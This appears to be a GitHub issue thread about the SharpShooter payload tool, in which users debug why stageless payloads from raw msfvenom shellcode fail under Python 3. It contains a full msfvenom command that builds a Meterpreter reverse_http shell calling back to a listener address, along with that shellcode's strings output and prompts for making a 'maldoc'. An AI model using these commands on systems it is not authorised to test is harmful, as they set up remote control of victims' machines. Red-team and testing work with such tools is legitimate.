Format of raw shellcode from `msfvenom` about sharpshooter HOT 6 CLOSED

You need the C# byte-formatted output not the raw.

-f csharp is what you need.

HTH

from sharpshooter.

According to the docs in the README, you don't. You use the -f csharp output for staged payloads, not stageless as I'm attempting to make.

In the case of a stageless payload, a raw shellcode file is read file[sic] the file system

Regardless, I tried anyway and got the same error as I got with the -f hex and -f python output.

from sharpshooter.

Yes you're supposed to use the raw format when using stageless - I'm not able to reproduce your issue though....

root@kali:~# msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=192.168.0.101 LPORT=8080 EnableStageEncoding=True -f raw > /mnt/hgfs/Tools/Share/x86shellcode.raw
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 375 bytes

root@kali:# file /mnt/hgfs/Tools/Share/x86shellcode.raw
/mnt/hgfs/Tools/Share/x86shellcode.raw: data
root@kali:# strings /mnt/hgfs/Tools/Share/x86shellcode.raw
;}$u
D$$[[aYZQ
]hnet
hwiniThLw&
SSSSSh:Vy
/B87L3p1VYhi8-7365opELQTeH0Q6TBuAxLH
SSSWSVh
_SSSSVh-
192.168.0.101
root@kali:~#

Then in SharpShooter...
[*] Provide path to raw shellcode, e.g. ./sc.raw
/Users/dmc/Tools/Share/x86shellcode.raw

[*] Provide name of output file (e.g. "maldoc")

$ python --version
Python 2.7.10

from sharpshooter.

When I explicitly run SharpShooter.py with the python2 interpreter, the stageless payload creation works as expected.

I note from the latest commits though that py3 support is at least intended, so it seems there's a bug in the python3 support.

from sharpshooter.

python3 support will need more testing, it was added from a PR - i've only extensively tested on 2.7.

from sharpshooter.

I found the solution reproducable by using Python2 when invoking Sharpshooter, and using a redirection operator (>) instead of output switch (-o) when generating the payload using msfvenom. HTH

from sharpshooter.